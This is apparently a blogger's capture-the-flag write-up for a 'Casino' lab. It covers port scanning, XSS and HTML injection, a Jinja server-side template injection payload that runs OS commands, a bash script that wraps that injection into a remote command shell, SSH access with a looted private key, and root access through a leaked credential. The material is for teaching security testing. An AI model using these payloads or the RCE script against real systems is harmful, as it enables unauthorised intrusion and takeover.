Post cover image

August 24, 2026

Hack Smarter — Casino Lab Solution | InferiorAK

Las Vegas is gearing up for a massive cybersecurity conference, and you’ve been hired to conduct a penetration test against one of the…

By InferiorAK

4 min read

Las Vegas is gearing up for a massive cybersecurity conference, and you've been hired to conduct a penetration test against one of the casinos. The client — Hack Smarter World — is a luxury resort where many of the attendees will be staying. Your objective is to identify all vulnerabilities and elevate your privileges to root (if possible).

  • Reconnaissance
  • Source Code Analysis
  • Server-Side Template Injection (SSTI) to RCE
  • SSH Private key Authentication
  • Privilege Escalation

Information Gathering

  • Nmap Port Scanning:
sudo nmap -Pn -p- 10.1.28.32 -vv
  • First of all, I conducted only port scanning on the target
  • I found total 3 opened ports (22, 80, 2222)
  • Then I performed Service and Script Scanning
sudo nmap -Pn -sVC -p22,80,2222 10.1.28.32 -oN casino_nmap.txt
┌──(anon㉿n00b)-[~/Casino]
└─$ nmap -Pn -sVC -p22,80,2222 10.1.28.32 -oN casino_nmap.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-24 12:38 +0600
Nmap scan report for 10.1.28.32
Host is up (0.36s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0e:c3:b7:58:ab:08:a9:06:32:a2:45:18:fe:b4:b1:8e (ECDSA)
|_  256 c8:b4:62:a1:c8:f4:c1:dc:f9:16:15:5d:37:0f:d2:16 (ED25519)
80/tcp   open  http    Werkzeug httpd 3.1.8 (Python 3.10.18)
| http-title: Hack Smarter World - Guest WiFi & Portal
|_Requested resource was /login
|_http-server-header: Werkzeug/3.1.8 Python/3.10.18
2222/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
| ssh-hostkey:
|   3072 7d:c5:f5:ba:03:3e:f0:76:5c:9d:47:b6:39:b5:c7:a4 (RSA)
|   256 ed:5d:fa:ea:74:a0:56:b1:39:59:fc:c5:22:1e:5e:bd (ECDSA)
|_  256 50:31:d9:54:80:42:b8:44:cb:40:66:ea:cf:8f:cf:37 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.51 seconds
None

Enumeration

  • Visiting to the Website:
None
  • Trying to authenticate:
None
  • Viewing Source Code:
None
  • Visiting /static/js/app.min.js:
http://10.1.28.32/static/js/app.min.js
None
  • Found app.min.js.map:
None
  • Unauthenticated Path:
http://10.1.28.32/api/v1/rooms/status?status=occupied

curl -s http://10.1.28.32/api/v1/rooms/status?status=occupied | jq
None
  • There are 3 types of tiers:
Executive Suite
Standard Guest
Diamond Club
VIP Premium
  • Now trying to access their network:
None
  • Found HTML Injection in Display Name:
<h1>Test</h1>

<h1 style="color: red">Test</h1>
None
  • XSS also worked:
<img src=x onerror=alert(1)>
None
  • Checking for SSTI vulnerability:
{{7*7}}
None

SSTI to RCE

  • Getting RCE to the remote server:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('whoami; pwd; ls -la').read()}}
None None
  • Then, making a RCE Script for more flexibility:
#!/bin/bash
# Usage: ./rce.sh "command to run"

TARGET="http://10.1.28.32/profile"
COOKIE='session=.eJxNjUEKwjAQRa9SZt1CjKCSvRvBlQcIYzraYJORZCKW0rubruru83i8P0Pv83vEyUYMBAaumKbmwkPMHKGFZ6EsYGZwA7kXF7E9yupppQ-dOnV6X62HT1n-C5WNuKGtl5iDjSXcKYHZqWML4tcJ5y-5Iv5Dza34-rAsP8MMM64.aovqRA.fTFVTpEa0kJQIQXA2TKlxwiyPl4'

if [ -z "$1" ]; then
    echo "Usage: $0 \"<command>\""
    exit 1
fi

CMD="$1"

curl -s -X POST \
  -b "$COOKIE" \
  --data-urlencode "display_name={{config.__class__.__init__.__globals__['os'].popen('${CMD}').read()}}" \
  "$TARGET" | html2text | python3 -c "
import sys, re
text = sys.stdin.read()
m = re.search(r'Nickname\[(.*?)\]\s*\nThis greeting', text, re.S)
print(m.group(1).strip() if m else '[!] Could not parse output — raw dump below:\n' + text)
"
None
  • Got user.txt Fag and SSH keys:
None

Initial Access

SSH Private Key Authentication

  • Saving the private key in my local first:
None
  • After those, using the id_rsa privated key to log into george:
cp id_rsa /tmp/id_rsa
sudo chmod 600 /tmp/id_rsa
ssh -i /tmp/id_rsa -p 2222 george@10.1.28.32

Note: The id_rsa must have permission 600, otherwise it can't be used to login

  • Getting into george:
None

Privilege Escalation

LinPEAS Analysis

  • Uploaded linpeas.sh to george's /tmp directory
  • Then running the linpeas
  • Found a log seems interesting:
/var/log/provisioning.log
None
  • Also, found david's mysql credential:
None

Lateral Movement

  • Checking george's bash history file:
None
  • Found user david's login credential from .bash_history:
User: david
Pass: DavidPass2026!#
  • Logged in as david using the credential:
None
  • Here, we can see that david was in the group adm.
  • So, the log we just found from LinPEAS, can be read by david.
  • Getting the log /var/log/provisioning.log:
2026-08-01 03:14:02 [INFO] Starting automated cluster provisioning for Hack Smarter World host node...
2026-08-01 03:14:15 [INFO] Configuring network interfaces eth0 (VLAN 402)...
2026-08-01 03:14:22 [INFO] Initializing MariaDB production instance...
2026-08-01 03:14:28 [INFO] Seeding resort guest database tables...
2026-08-01 03:14:30 [SUCCESS] Applied security policy for root access.
2026-08-01 03:14:31 [DEBUG] Saved system root sync credential: R3s0rt...[REDACTED]
2026-08-01 03:14:35 [INFO] Generating SSH host key certificates...
2026-08-01 03:14:45 [INFO] Deployment completed successfully.
  • Found root credential.
  • Retrieving the flag from root.txt:
david@8baabc6b234d:/etc$ su root
Password:
root@8baabc6b234d:/etc# cd
root@8baabc6b234d:~# ls
root.txt
root@8baabc6b234d:~# cat root.txt
HSM{r3s0rt...[REDACTED]
root@8baabc6b234d:~#
None

So it's solved!

None

Happy Hacking!

My Links: